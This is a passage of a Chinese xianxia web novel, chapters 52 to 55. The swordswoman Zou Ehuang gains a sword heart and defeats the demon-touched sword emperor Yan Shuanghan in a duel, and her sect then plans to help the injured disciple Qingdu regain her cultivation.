不是败给了别的,他刚刚的那一剑诀虽然并未完全挥出,但也是流云十三诀。 他的流云十三诀,竟不如她的好。 他从求道起,就握着这把剑,他把自己活成了这把剑,他觉得救世就是他的责任,无论和谁二选一,也该是他手里的这把铮铮宝剑得胜归来。 因为一直都是这样的道理,魔窟里,他是唯一活下的那个;昆仑上,自有了他起,人们都不再提夜自咎;哪怕在千千万万人里面挑一个佼佼者,他也当仁不让。而九死一生之际,累累白骨的魔窟里,走出来的那个人也是他 但是在这一刻,宴霜寒无比清晰地认识到—— 他输了。 不止是输了这场莫名其妙的打斗,更是输了那场二选一的预言。 救世的剑,不是他手上的这把。 白阁不染尘埃的地面上。 银发剑皇也好、白发魔尊也罢,总之宴霜寒这个人,这个纯粹的剑道疯子,极致的野心天才,此刻双手锤在地上,平直的眼睫抖动。 竟是低低地笑了,一阵又一阵发自肺腑的瘆人笑声,落于邹娥皇耳边。 宴霜寒为什么笑。 是技不如人,还是觉得丢脸? 邹娥皇不知道。 她不了解宴霜寒,几乎可以说,除了很久之前那曾经改变过她一生轨迹的一剑外,两人毫无交集。 她对于宴霜寒唯一的那么一丁点猜测,不过也就是基于多年前曾见过的那一剑。 那也是一剑流云十三诀,却失了流云的飘渺与灵动,只像一团火,至阳至强,至烈至霸。 烧的年少的她,面色惶惶。 而现在,邹娥皇握着手里的剑。 她是个俗人,所以胜了剑皇,脑袋里第一瞬间是晕乎乎的开心,就像是穿越前小学的时候,数学考试超过了那个年级第一一样。 好像做梦。 这样纯粹的喜悦冲散了这几日困在她喉咙里的那口郁气,邹娥皇身上剑脉流经的地方正在隐隐发烫,是灵气不断顺着剑意冲荡她的躯体。 而她心滚烫地跳着、跳着,几乎要跳出这肉身。 然后,刹那之间,有一种极其玄妙的感觉包裹住了邹娥皇——和横空出世的剑脉不同,这一次的感觉像是久别重逢。 是什么重新在她身上生了出来? 第52章 你对我有一定的了解,我很高兴 剑心。 这个概念最先提出来的人, 是夜自咎,剑道的祖师爷。 或者说这一位之所以被称作剑道的祖师爷,并不是因为他是开天辟地的第一位剑修——恰恰相反, 在夜自咎之前,早就有剑修的存在。 之所以说他是祖师爷,起源于他对于剑道各类的精密划分,剑心、剑骨、剑脉、剑气、剑意在这个男人没出现前, 其实都只是抽象的概念。 直到他从深山里走出,给一切模糊不清的边缘理直了棱角。 人们对于剑,才有了体系的认知。 他说:“只有有剑心的人才是剑者, 没有剑心的人么, 只是在用剑而已。” 他还说:“这世上的人,绝大多数碰到剑的那一刻,就会生出剑心。难的从来不是生出剑心, 而是持剑的这一路, 一直秉持初心;而比一直秉持初心更难的是,折了的剑心, 再度发光。” 他给剑心结尾的一句话是:“这世上少年多于过江之鲫, 但这世上很难有人二度逢春。” 二度逢春么? 邹娥皇摸着胸口,呼吸变得炙热又滚烫。 从没有人能清晰地说明有没有剑心,到底有什么区别,就像邹娥皇现在也没想明白,她不过只是赢了宴霜寒三根头发, 怎么心里就突然出现了这东西。 之前密州得的剑脉,虽然也突如其来, 但是她多少有点底,那剑脉是在三千年前就已经形成了的。 在星盘直入躯体的外界刺激重刷下, 与内心对于拔剑的渴望一同刺激出来的,只是受到天道压制,迟了三千年。 但是剑心呢? 邹娥皇眉间一跳,决定放过自己的脑子,将这个问题留给道祖。 先在体内运转一圈灵气试试看。 嗯不错。 她对于灵气的感知力确实是上了一个层次。 这就是剑心的作用。 心肝脾肺肾,各司其位。 而心在《修真大全》里有特意开辟的一节讲过,心的作用是破除迷障。 也就是说,有剑心的人,下意识地会找最便捷的吐纳方法,找对手最致命的破绽。 好爽。 邹娥皇努力保持着自己的高人风度,最起码不能在宴霜寒面前大笑出声。 但还是失败了。 ——她不仅笑了,还笑出声了。 在宴霜寒视线即将撞过来的刹那,她选择了背过身去。 身长如玉的青年指肚慢慢摩擦剑柄,从平地起身。 宴霜寒:“站住。” 站住不跑,难不成要等着被你讹哇。 邹娥皇没理他,抬腿转身就准备跑路。 却被一柄四周包着黑漆浓雾,剑身却如白雪轻盈的长剑拦下了。 这剑的主人眼睫平直,眼底酝酿了更深一层的暴风雪。 “再比一次。” 他盯着她的背影,一字一句道。 … 很久之前。 在宴霜寒还没有成为力压剑修的一座高山的时候,这天下对于他的风评,其实并不全是好评。 那个时候人们说,东边有容有衡,西边有红绫袖,北边有佛子渡情,南边有圣人大儒区区一个宴霜寒,算得了什么,单说同辈里的剑,难道天机子就比他差多少么。 这实在不怪众人对他的轻贱。 他同邹娥皇共享的那个年代,人才辈出,群星璀璨,于是众人的口气也被拉地刻薄且托大了。 至于等后面一改口风,把宴霜寒捧上神座,不吝啬赞美的时候,也是当这个人活得老了,比天下绝大多数人都老的时候,他们把他看做前辈,自然就不会加以非议。 但是在他们还年轻的时候,人们把这些天之骄子们拉到一起比较,会骂容有衡技多不精,轻浮无比;说尹月区区女子身,不够温和;笑佛子拘礼,性情死板;叹何言知为人臣,跳不出局限 于是这群专好点评的人,就会说宴霜寒选的剑道,太平庸。 在宴霜寒于天骄宴,语气微讽地问邹娥皇为何选择剑道之前,其实有无数个人对他说: “以杀止杀为你的剑道,完全模仿昆仑老祖,宴霜寒,你没有自己的道要走么?” 宴霜寒当时是怎么回答他们的呢? 他只说了两个字:“啰嗦。” 宴霜寒不是邹娥皇,他选剑道从头到尾目标清晰,就是为了接夜自咎的班,所以他不认为别人嘲笑他的剑和夜自咎一样是对他的侮辱。 更何况,夜自咎本人早年的剑道,也总是被人笑尽了平庸。 宴霜寒不认为自己选了这天下最平庸最大众,被世人当做例子研究透彻的剑道。 或者说,他眼里的剑道,仅仅只是剑道。 只要能赢就行。 他不在乎别人怎么说他,只要夜自咎的剑道在他手里能发扬光大,平庸二字,谁还敢扣在他身上。 事实证明,他是对的。 他用流云十三诀,重点也在于是他用,而不是流云十三诀,于是邹娥皇观察宴霜寒这个人,会得出一个极其有意思的结论: 那就是无论什么剑法,落到他手里,永远都会变成宴霜寒的剑—— 至阳至强,至霸至烈。 借巧不借力的流云会变成烈火,孤寒千里的冰封会变成烈火所有的剑法,当他施展出来的时候,作为他的对手,邹娥皇好像只能看见一团熊熊燃烧,呼啸而来的火。 生得冷的人,用的剑反很火热。 邹娥皇只好左跳右跳,躲避着长剑。 刚刚生出剑心的喜悦荡然无存,她只觉得自己现在像丛林里荡来荡去的活猴。 “宴霜寒,”她试图和他沟通。 却只得了男人冷冰冰的一个眼风:“现在我的修为已经压在了化神,和你一个境界。” 言外之意,就是现在他并没有占便宜。 邹娥皇气笑了,于是当下一个剑风袭来的时候,她并没有躲,而是持着那柄黑剑,欺身向前。 砰的一声。 剑气相撞,震得她虎口微麻。 邹娥皇猛然抬头,迎着对方审视的瞳眸,轻声笑。 “宴霜寒,谁问你这个了。” 黑剑寸寸向前,细剑步步后退。 有那么一瞬间,宴霜寒几乎能嗅到对方发梢的一股淡香味。 暗盈盈的。 像沁甜的泉水。 但是下一刻,他视线全然变黑。 刚刚那一瞬间的心笙摇曳被一柄巨大的黑剑取代。 “宴霜寒,我很久之前就想问你了,你不觉得你的剑,太傲慢了么?” 邹娥皇用上了宴霜寒的困惑语气,歪着头轻笑:“或者说,你这个人,就好傲慢哎。” “我猜猜呢,我猜猜呢。” 她的笑意穿过他的耳边。 宴霜寒心跳如擂鼓,而眸子里只剩下了浅浅的人影。 “我猜,你其实从来没有生出过剑心吧。” 邹娥皇:“你说你是天下最强大的剑修,可是你,其实从来只把剑当做工具吧宴霜寒,你有好好地练过剑法么?” “你挥的每一剑,都只是‘宴霜寒’的剑,你瞧不上别人,你自然也瞧不起手里的剑。” 邹娥皇的语气逐渐笃定,盖棺钉板:“你没有剑心。” 她昔年见过的那惊才艳艳的一招流云十三诀,这么多年都模仿不出来,掺透不出来,其实只有一个原因。 那就是当时惊艳她的不是流云十三诀,而是那个用剑的少年。 宴霜寒当然有自负的资本。 但是他把路走的太绝了。 败于他一剑之下的人从没有想过,他的剑法其实很单调的,单调到你再与他多试两回就会明白,只要第一剑不输,你其实就已经赢了他。 而邹娥皇此刻想起了之前容有衡三上昆仑与宴霜寒的那场比剑。 当时她以为输的人是她师兄。 现在看来么另有其人。 持着神华剑的宴霜寒面色如冰,不见被人戳破的怒色,流光玄色长袍微微一闪,此刻他竟主动撤手,后退三步远。 “一日前,你说的确实不错。” 这个好像生来就不会笑的冷脸剑皇,这一刻唇角竟勾出了一个不明显的笑。 宴霜寒:“邹娥皇,我很高兴” 他顿了顿似乎在组织语言,语气平直:“你对我有一定的观察和了解,我很高兴。” 邹娥皇听得觉得有点怪,她下意识地后退。 “但是你猜错了一件事。” 修长的手以两指状,纤长美丽的剑在半空中流转。 一个缩小的死海投影在神剑剑柄的那块宝石上方。 “你可知,我为何堕魔?” 宴霜寒低低地笑,他自问自答。 “死海的魔气,不是补全了我的剑道,而是补全了我的心。” 随着宴霜寒这一句落下,邹娥皇看见他的眼睛已经慢慢地变黑了,瞳孔中央是一片血红。 魔气。 先前宴霜寒的反应太正常了,正常到她看着他几乎要忘了,这是一个堕魔的人。 魔道传承断绝后,一千年来,第一个入魔的人。 第53章 干柴烈火 “你不是以器载道, 所以才堕魔地么?” 空荡荡的白阁子里,邹娥皇听见自己的声音像阉了一年的萝卜干,干巴巴地发紧。 她视线慢慢地从对方那双血瞳上挪开, 先渡到了那柄剑上。 “不是。” 宴霜寒轻轻一笑,不过一个瞬息,他就闪现到了邹娥皇眼前。 他抬起他手中的神华剑,这一次他的剑法不同于邹娥皇所知的任何一种, 一剑剑划破凝滞的空气,带着破釜沉舟,杀敌一千自损八百的不要命, 衬得刚刚两人过招时他挥的那几剑都好像是小孩子过家家。 这样的剑法带了极浓郁的个人风味, 更像是—— 邹娥皇:“你自创的剑法?” 宴霜寒颔首。 男子低沉的声音响彻在邹娥皇耳畔。 宴霜寒轻笑:“你很意外么。” 带着魔气的剑步步紧逼,邹娥皇一转攻势,在密密麻麻的剑诀下竟只能做到防守。 血色的魔瞳将宴霜寒雪白的眼睫衬得更晶莹, 他低沉赞道:“你说的不错啊, 我确实是瞧不起剑。” “一群蠢驴,个个为了剑道第一的头衔来苦舟蹲我, 但他们不知道, 我不需要手里的这把剑,只是我选择了剑而已,不是剑选择了我。” 不是剑选择了我。 多荒谬。 邹娥皇想,这天下大部分剑修终其一生不过是在等一把剑认主,从此之后如臂指使, 扬名立万;但是现在,这被人誉为“满堂花醉三千客”的宴霜寒, 居然告诉她,不是剑选择了他。 他居然跟她说, 他不稀罕剑。 哪怕早有预料,她也禁不住被这样的回答惊了半口气。 “很多剑修他们都走错了路,”宴霜寒握着手里的剑,轻巧地如同稚子在玩个木具,因为瞳孔血色,所以才分外放大了那一丝素日被压住的不屑。 入魔,果然会影响一个人的脑子。 让谨小慎微者变得口无遮拦,沉默寡言者变得高谈阔论。 但就是这样毫无章法的走势,压的邹娥皇几乎喘不过气来。 “他们太把剑当回事了,所以他们忘了,自己其实是剑的主人要想一把剑听话,除了交心还有另一种方法,镇压。” 宴霜寒的笑意仍然浅淡,但是他的眸中猩红色的光愈来愈深。 “比起感化一把剑,让剑对你生出惧意,更轻易。” 激越的华光里,他对邹娥皇说:“所以我用不死的神木烧了这剑千年,就为了让这剑也记住这样的疼,而这片死海的魔气,取千万魔物的心头血,才塑成了一颗杀戮之心,没有什么比这个更适合当我的剑心——” 邹娥皇心下有些震撼。 不愧是宴霜寒 “那你,”她艰难问道:“你就不怕修魔之后,脑子受到限制么?” 她还是委婉了,其实她想问的是,不怕脑子受创么。 邹娥皇现在其实已经感觉对方有点变了。 她不是他的师父也不是他的同门这些东西是她能听的么? 怎么就这么水灵灵地说出来了。 宴霜寒没回她。 红光流转的神华剑,攻势越发狠戾,它冲着邹娥皇旧伤未好的右臂而来,厚重的黑剑刚刚出手躲闪不急,硬接下来,小臂发麻。 下一瞬,巨大的硝烟弥漫,邹娥皇被宴霜寒一剑挑飞。 咣当地一下,砸远了。 砸在半个书架上的邹娥皇屈了屈发麻的拇指,从毛乱的木刺中弹射起步,她忍着背后的抽痛,手上的黑剑闪过一瞬的华光。 在倒地的半个瞬息的时候,她的身体在说疼,而她的心告诉她,绝不会有比此时更恰当的时机了。 距离已经拉开,不会再有剑诀比她自创的那一剑还要合适了。 是什么样的剑诀,能压住入魔的剑皇。 又是什么样的化神,有和大乘硬碰硬的勇气? 邹娥皇想,这一切要有多荒谬。 比一直拿着剑压死海的剑尊告诉她,其实他根本瞧不起剑还要荒谬,可她心里又砰砰跳,心中另有一道声音。 另一种疯狂的声音。 这声音在说: 你的剑,你自创的那剑就可以! 这声音在喊: 邹娥皇,是你!你要接受你的命运! 救世之剑,非他即你! 这声音声嘶力竭: 砍!砍下去!你就是新的剑皇,未来十四州的主人,万人之上! 所有人都会膜拜你、追随你—— 剑气从厚重的黑剑上荡开,不过瞬息,宴霜寒眼前就已经不见邹娥皇的身影了,他神色不变,只看着那愈来愈近的火球,轻轻一弹剑身。 只要是剑,就一定会有破绽。 深红的血瞳中映出一片葳蕤火光。 但千钧一发之时,宴霜寒竟发现自己的想法错了,此刻他竟动弹不得。 后退,便是输了气势,也乱了节奏;前进,和飞蛾扑火,自取灭亡又有何异。 好像在这样的一剑下,连挣扎都不被允许—— 怎么会。 宴霜寒神色仍如深冰,唯有瞳孔悄然放大。 这一次,他竟没能握住手中的剑,只剩了本能的罡气护体,下一瞬似乎就要划破虚空。 但厚重的黑剑最后还是顿住了,它平平无奇,和刚刚灼目的火球判若两人,只剩下了这招自带的火光,莹弱,偏偏未灭,几乎要扑在宴霜寒的眉心上。 只在离他眉心半厘的位置停住了。 邹娥皇握着剑柄的手微微发抖,汗液浸湿了她的右手。 好险,差一点。 她就收不住了。 胜负,只在一瞬间。 而这一次,宴霜寒是真败了,彻头彻底,毋庸置疑。 邹娥皇背过身去,摩擦着手中的剑,喃喃道。 “宴霜寒,你错了。” “剑修不是剑的主人,剑也不是你的奴仆。” “它是你的兄弟,你的手足,这世上比你还了解你的存在,一把毁灭的剑可以有,但是没有人能靠恐惧奴役一把剑。” “因为剑身如铁,坚不可摧,怎会为恐惧折腰。” “你以为你在靠火让它惧怕,你以为魔气是最适合你的剑心你错了,是你的剑,从火里走出,斩尽千魔练锋。” 邹娥皇说完后有些惆怅,她唏嘘,素日听道祖课久了,耳熏目染,她竟也能说这么有哲理的话了。 是该找个人记下来。 过几年也出一本小传。 但等她转身的时候,却发现背后空无一人。 原本该站在那个位置的宴霜寒,或许是因为刚刚掌握的魔气运转还不周,受到冲击后,竟已经昏了过去。 原来根本没人听她在说什么,搞什么啊一般情况下来说,这个时候不应该让她打个嘴炮么。 还是说她果真不是本世的主角,就连耍帅的机会都要戛然而止。 夜色暗沉,邹娥皇瞥了一眼宴霜寒。 现在这孤高一世的剑皇正倒在地上,生死不知。 腰间一直盘着的玉色蹀躞带,此刻也散开;唯见他满头华发缭乱,眼睫紧闭轻颤,瞧着弱不禁风,像极了被蹂躏过的模样。 邹娥皇走过去。 把人放在这不管吧,又实在怕他死了;跟昆仑说吧,又毕竟和自己也有点关系。 她正想着,脚不小心地踹到了什么,冷冰冰地。 “咦?” 原来是正好踹到了那柄剑上。 月光从门缝里悄然溜过,渡在此方角落,照在那柄神华剑的剑柄上,只见一个小小的“皇”字凸了出来。 皇,剑皇的皇么,邹娥皇又想,那宴霜寒当初还不如叫剑神咧,神正好对着他的神华剑。 “咚咚咚——” 正在这时,大门处传来曲轻云拍门的声音。 他大声朝门缝里喊:“师伯师伯,老祖喊我过来传唤你——” 喊完后曲轻云很有经验地走出半丈远,以防一会宴霜寒剑气开门误伤他。 但是等了半响,紧闭的门扉一动不动。 曲轻云心下一紧,暗道一声得罪了,先推开了门。 不对劲,相当不对劲。 他嗅了嗅,然后被烟尘气呛地一阵咳咳,顺着烛光看过去,才发现地上有一个蹲着的和一个躺着的人。 这个地方怎么还会有别人。 曲轻云惊疑地摸出双剑:“谁?” 等看到蹲在地上穿着道袍的女修闻声转身,露出了那张他熟悉的木讷脸的时候,曲轻云还没来得及松口气,脸就又僵了,靠谁能告诉他他看见的到底是不是真实的地上那个扶风弱柳微微喘气的真是他师伯宴霜寒么。 衣衫大敞,被烧的破破烂烂的。 还有那素日里微抿的薄唇,都莫名其妙地嫣红带了兴许水光。 这是? 双剑骤然回鞘。 曲轻云的脸也木了,脑子也想歪了——什么叫干柴烈火,什么叫一触即发,他现在只能想到他师妹那贼兮兮地笑,还有半夜抓到师弟看的那种小人图 这就是大人的世界么。 他不懂。 邹娥皇只听砰地一声,白阁子大门再度阖上,唯一的那盏幽幽烛火,也被大门带起的风吹灭了。 而关门的曲轻云背手立在门外,心情震撼,声音微抖道:“打扰了,你们继续老祖那边,我如实说不,我遮掩着说。” 不怪他想歪。 可是宴霜寒腰带都开了。 白阁子内,邹娥皇困惑地抬头,没听懂曲轻云在说什么。 与此同时,一阵窸窸窣窣的声响从邹娥皇身侧传来,是宴霜寒醒了。 这剑皇抿紧薄唇,单手撑着头,好像还有些晕。 他瞳孔的颜色已经恢复了先前那一片浅白。 这表示着,他已经从魔化的状态里短暂地抽离了。 邹娥皇没见过这种能够随时切换入魔状态的人,她微微凝神,觉得这也是一个很重要的情报。 回去和道祖问问。 地上,宴霜寒冷白的面上有一丝不易察觉的红晕,他在暗夜里费力地提着腰间的蹀躞带,一边提一边想——邹娥皇离得这么近,是不是看见了那个皇字。 宴霜寒脑子里是乱的。 而脸上是烧的,像他十六岁跟师父喝的第一口烧酒一样。 好呛。 入魔状态平息后,变成一个正常人的他,还没有丧失之前的中二记忆。 第54章 所以就这么回来了 宴霜寒:“你都看见了?” 这声音很凶, 还带了点莫名的紧巴巴。 月值中天,宴霜寒打了一个响指,昏暗的室内亮起了飘渺的灯火。 邹娥皇视线微妙地停顿在了他烧的破破烂烂的, 有些许风光透出的衣服上,心下晒然,想宴霜寒人还挺保守的。 不就是给他烧了这么一块出来嘛,怎么这么小气, 打斗的时候,大家衣衫不整,打到最后破破烂烂, 难免露出点不该漏的, 也是情理之中嘛。 “嗯。” 邹娥皇敷衍道,视线须臾又收回。 她是看见了对方一些不该看的地方,但又不是故意的, 看的又不是那二两肉, 怕什么。 “啪——”地一声,又是一个响指, 宴霜寒灭了刚刚燃起的火光, 脸色青白。 室内又变成了黑漆漆的暗。 他当然注意到了她刚刚视线的停顿。 在这样的视线下,他腰侧露出来的肌肤都有些凉飕飕的。 宴霜寒压低声音:“我不是说这个我是说,我是说算了。” 有些话其实很难说,毕竟宴霜寒不是天机子一类口腹蜜剑的花花剑修,他很难直白地去问一个姑娘, 你看到刚刚我剑柄上的皇字了么。 好像这样隐秘的发问,在他的概念里就无异于:你看到我喜欢你的证据了么。 而这样的话, 若是一开始没有勇气说,以后也不会有了。 “你看起来和过去不一样了。” 到最后, 他只干巴巴地挤出这么一句。 伸手不见五指的大殿里,邹娥皇本来提步要走,但是听到这句话又顿住了,她背对着宴霜寒坐在地上,平静道:“谢谢。” 这是对手的认可,邹娥皇想,总比当年那句你为什么要学剑要好。 宴霜寒似乎是不满意她这句谢谢,又重复道:“你和我想的不一样。” 邹娥皇说:“你也和我想的不一样现在没有灯,我背着身不看你,你换件衣服吧,然后把灯点开。” 她刚刚都要走出去了,但是半路踩到了圆溜溜的花瓶,差点没摔倒。 再一想想,两人的打斗,虽说不上断壁残垣,但也差不多了,虽然她能夜视,但是点灯能解决的问题,就不要浪费灵力了。 邹娥皇话音落下,只听得背后传来了一阵窸窸窣窣的穿衣声。 还挺笨的,难道不会什么小法诀一件穿衣么。 她想。 “邹娥皇,”宴霜寒声音很低,似乎带了点吃痛与隐忍,大约是新衣服刮到了伤口,“我们聊聊。” 又是一个响指,满殿灯火开。 “聊什么?”邹娥皇懒散地抬眼,她并不是很想聊天,只是不坐还好,一坐之后便觉得浑身筋骨痛,屁股沉沉有些起不大来,大约是打斗时抻着筋了。 所以现在即使看得见了,也没有刚刚抬脚就走的体力了。 邹娥皇随口掰扯道:“宴大剑皇,你放心,我没有见过你刚刚的入魔红眼,也忘了你刚刚都说了什么。” 宴霜寒:“” 邹娥皇奇道:“不是聊这个么?” “不是。” 宴霜寒平静道:“找你聊聊剑。” 他的手肚在凸起的皇字上反复摩擦,而面色如常。 葳蕤灯火,将他的脸色映的僵红。 所幸,那姑娘没看他。 …… “所以你就这么回来了?” 鱼澹的声音字字拔高:“你打赢了他,没放出什么狠话,也没拿什么好处,就坐着陪他唠了会剑,就这么水灵灵的回来了?” 邹娥皇挠了挠头:“不然呢。” 鱼澹痛心疾首:“你可知他在咱们蓬莱开会入的魔,当时魔气剑气一震荡,一个山头的维修工程不开玩笑,你去都去了,怎么不拿着账单去,别的不说,他们每年靠那个什么唠子圣女,敛财多少你知道么——” “宴霜寒,我真是看错他了,贵为剑皇,好抠搜一男的!” 鱼澹咬牙切齿。 他原身是银龙,四海八荒最小气也是最抠门的物种,因此当初蓬莱道祖刚收他,便看中了他的天赋,让他掌管蓬莱的账务。 “……” 邹娥皇试探道:“那我再去一趟?” 鱼澹被她气的憋出了两条龙须,此刻正在风里一起一伏,像波浪。 “罢了,师姐什么脾气,你又不是不知道。” 李千斛打圆场。 同门四个难得聚在一起,结果开口就是吵吵。 “今日大家既然是为了青度的事* 情聚在一起商量,三师兄你就把算盘珠子收一收行么?” 鱼澹听到青度这两个字,脸色一变,才颓然地跌到椅子上。 “你们说罢。” 青度是他第一个徒弟,按照他的挑剔程度来看,大约也是这辈子唯一一个了。 但是就去了密州这么一趟,生死劫是过去了,金丹却没了。 或者说这场一波三折的生死劫,才刚刚开始。 有时候人越在乎什么,老天爷就越要拿走什么。 青度最在乎的,不外乎是能不能力压同辈,为蓬莱争光。她若真能重新修出一个金丹,继续修炼,那便才算真正活了过来。 要不然行尸走肉浑浑噩噩,与死又有何异。 这几日鱼澹看她郁郁寡欢,心里总七上八下的。 说要重新修炼,可重新修炼谈何容易。 先不提那些断了的经脉,单说金丹。 这东西第一次修出来容易,可若是被人挖走了,在修一个,无异于登天,就像是他师姐的那把剑,年少无知的时候拔剑如喝水,心里有了计较后,再次拔出都是五千年后了。 邹娥皇说:“当时我背这个孩子出来,她还冲着我虚虚一笑,说:‘师伯,原来是金丹没了’,你们知我当时想的是什么,当时我想——” “她但凡喊一句疼,我就去把久俊那王八羔子的头拧下来。” “可是她没有,”邹娥皇轻声道,“师弟,你把这孩子教的很好,真的很好,是咱们蓬莱的种。” 这句话落下,自刚刚起就一直沉默不语,单立在角落里当摆设的容有衡侧头觑了眼邹娥皇,终于开口道:“重新修个金丹也不难,光我知道的方法就有百八十种” 鱼澹啧笑了,语气微凉:“师兄见多识广,我们当然比不上。” 容有衡冲他微微一笑。 “你二师姐脾气好,我脾气一般,你若再这么阴阳怪气下去,我就替你捋捋龙筋,看能不能顺直了。” “听懂了么?” 李千斛捂着嘴笑,想大师兄假死一趟,回来后人也变委婉了,最起码这句听懂了么的后面并没有和以前一样加个滚。 鱼澹不说话了,僵直着脸转了过去,看样子是屈服了。 容有衡继续说:“难的不是给这孩子塑出来一个。” 邹娥皇懂容有衡的意思。 她接道:“金丹分九品,青度原来那个是八品,已经算得上最接近九品的一种了,若再拿别的手段给她塑一个,固然可以,但到底品质差的太大,以后这修仙路恐怕也要将就着走了。” 可青度这样的人,样样拔尖,要她将就比要她命还难受。 “所以我们要让她自己起来。” 邹娥皇转头通知鱼澹:“你徒弟,我要带她去幻海天秘境,看一看到时候有没有她自己的机缘,说不准遇到什么大能遗泽,一梦千年这类的机缘,届时别说重新修炼了,一觉起来,凭空渡过千年修真岁月,元婴也可成。” 幻海天是修真界最好也是最神秘的秘境,里面接通了无数个世界的遗泽。 早几百年大家都为这个打个头破血流,直到皇权消失后,世家与门派分庭抗礼,最后实在没法了,才同意以试炼为目的,每七十年开一次,分到每个门派手里的名额都是定额的。 邹娥皇想,现在自己面子是真大了,都能改变这东西开启的时间。 鱼澹蹙眉:“十五年后开的那个?你要带队,好好好,拔出剑来就是底气硬——” “不,”邹娥皇平静道:“七天后那个。” 闻言,鱼澹还在那里吵吵嚷嚷地说着什么不可能,李千斛却骤然反应过来了。 她心底空荡荡的。 手心的筷子跌落碗碟。 师姐到最后,还是要去救世了么。 李千斛记得,自己在道祖那里,曾经见过被画成图册的裁决者有关救世之剑的预言。 或许因为她不好剑。 所以在别人看着都是画上救世那柄剑的时候,她看的其实不是剑,而是挥剑那人的背影。 那明明只是一幅画。 那明明只是一个背影。 李千斛知道,自己看见的是师姐。 … 青度的院子里没有花草,也没有摆件。 只有一片平整的玉石地,立了个傀儡,常年供人练手。 见到邹娥皇走进院子了,这傀儡还会吱呀吱呀地发出报警声。 屋子里。 “师伯——” 青度呻吟着从软榻上支起身来,她感觉头晕脑胀的,凤眼轻轻一眨,颇有些不知今夕是何年的混沌。 她之前从不睡午觉,一天十二个时辰,恨不得都在打坐。 但是最近,自从没有金丹后。 青度就变了一个人。 邹娥皇坐在她床尾,慢慢握着她的手道:“醒了。” “来是跟你说些事的,过几日幻海天秘境提前开,你跟着我走,我带队。” 青度没问怎么这秘境会提前,她闻声就想挣开邹娥皇的手,冷冷道:“师伯何必拿我开玩笑,我已是废人。” 邹娥皇紧紧扣着青度的手。 这年轻人面冷,但有一只热气腾腾的手。 只要手还热着—— 她想,心就还热乎着呢。 不怕。 “你当然可以,青度,幻海天的秘境地图,全蓬莱你比道祖研究的通透,除了你,再不会有别人了,别说你金丹废了。” “哪怕你只是凡人,我们也缺不得你。” 第55章 这一次,她终于看到了一万里的万一 青度从噩梦惊醒的时候, 已经是日过柳树梢了。 午上日光浓烈,穿透薄云与纱窗,打在她脸上。 有些刺眼。 耳畔是蓬莱特有的镇魂神兽的嘶嚎声, 一声比一声粗重,顺着潮风绕着岛周呼啸,曾经青度对这样的声音习以为常,甚至以为自己早就习惯了, 但是从密州回来后,伴着这样的声音—— 青度才发现原来是睡不着的。 就算睡着了,也是不安稳的噩梦。 青度用手指揉了揉发僵的青眼, 余光一瞥袖口处的镇魂兽。 那兽眼黑漆漆的, 张开的血盆大口像无声的嘲笑。 青度别开眼。 她有一个储物袋的衣服,每一件都挂了这样的神兽。 因为这是蓬莱的标志。 而她是蓬莱的大师姐。 百年之内,只有她有资格, 佩戴这样的袖标, 道祖不行、她师父不行、邹师伯不行——别人都不行。 只有她能。 为此,有个自小和她一起进山门的人很不服气, 那个人叫越蓬盛, 往上追溯,是容有衡的第五代曾徒。 每门课业都要和她比个高下。 这小子很讨嫌,每次被青度稳压一头后还要嘀嘀咕咕,说自己藏着大天赋,青度只是努力而已, 算不得什么。 青度本来听了有些生气,可转念一想, 又觉得这小子是在夸她——本来就是么,夸她努力。 于是当时她眼风一瞥他, 什么话也没说。 青度揉了揉脸,从回忆中醒神。 下一瞬她神色凌冽,从床边摸出一道飞镖掷了出去。 飞镖闪着寒芒,划破虚空,逼得暗处里的人不得不献身。 少年绑着青色的头带,眼睛极小,脸又很长,嘴巴极大,一副生得很精明的模样。 他就是越蓬盛。 处处和青度比个高低的越蓬盛,号称是蓬莱新一辈的佼佼者。 自封的。 青度显然也知道是他,因而只是淡淡开口:“天天闲着没事干么?” 自从邹师伯来过她这一趟后,越蓬盛不知怎么地就听说了十五年后的秘境要重新开的消息,这几日死皮赖脸地来磨她。 “来看看你呗,以前闻鸡起舞,现在睡到日上三竿,啧啧啧,你不如把机会让给我,小爷比你上进,比你合适——” 越蓬盛嗖地两指夹过青度扔过来的飞镖,笑嘻嘻道:“还想暗杀我?可惜了,你这实力不行啊,退位让贤吧大师姐~” 青度抿了抿唇,冷笑:“飞镖上摸了毒药,如果我是你,我会选择先去解毒。” “靠!” 越蓬盛咒骂一声,下一秒却眉开眼笑,他张开手掌,五指上都是粗糙的茧子,但并没有中毒的迹象。 青度一愣。 “去年你就使过这招,我怎么可能再跌个跟头。” “大师姐,更新换代吧,要不你就要被蓬莱换掉啦。” 他留下嘎嘎张狂的笑,就从窗边跳了出去。 说者无意,听者有心。 其实像越蓬盛这样的人,青度知道,在同门里并不算少数。 或许是因为道祖对于她特别的批语,那句百年之后,蓬莱可托青度,让众人对于她的要求无形高了不少。 平心而论,青度哪里不好么? 没有,样样都完美。 但是人们希望她不止是完美,还要惊艳。 所以青度只能努力。 而青度曾经最引以为豪的,除了袖口的镇魂兽,就是努力,刻苦的努力。 但是现在么 美玉有瑕了。 镇魂兽是属于镇岛人的,也就是每一代的大师兄/姐,青度现在想要把它还回去,因为她觉得自己已经没有能力继任了;而努力努力—— 青度盯着手中一团小小的灵气,如泥沙般,稍不注意就要溃散于手心。 被掏了金丹后,她如今说是筑基都有些够呛,练气九层的实力罢了。 甚至比练气九层还糟,灵力已经很难专心地汇聚起来了,每次一动都感觉有人在钻她的脑壳。 修了这么一大顿,不如一个变故,大浪打回原点。 努力有什么用。 她这么努力,命运眷顾过她么? 她襁褓中被鱼澹抱上了山,从练功开始,从没有睡过一日的懒觉,外人都说昆仑舟上大师兄曲轻云,又是日日练剑几个时辰,又是打坐多少,又是降妖除魔… 青度自觉做的不比曲轻云差,也不比曲轻云少。 但是现在,金丹被废的人是她。 青度想,蓬莱真的还需要她么? 她脑海里第一瞬间闪现的是师伯握着她的手,说哪怕是凡人也需要但是很快,邹娥皇恳切的面就被讥笑的越蓬盛取代。 弱肉强食,才是修真界的底色,蓬莱怎么会需要现在的她。 不说曲轻云,她现在打的过越蓬盛么?不提越蓬盛,这一代里另外的几个名声赫赫的小天骄——她还有一敌之力么。 或许,她真的不能再戴这镇魂兽了。 幻海天秘境,师叔该带的人,也不应是自己。 主意想的很好,困难却在提笔的时候。 青度不知道怎么说。 当你离一个目标很近的时候,或许还想要踮脚够够;但是当离得太远的时候,心里的第一个反应其实是退堂鼓。 所以在还差一点就要追赶曲轻云成功的时候,青度对自己说,那口气不能松,而现在,青度对自己说,或许蓬莱已经不需要她了。 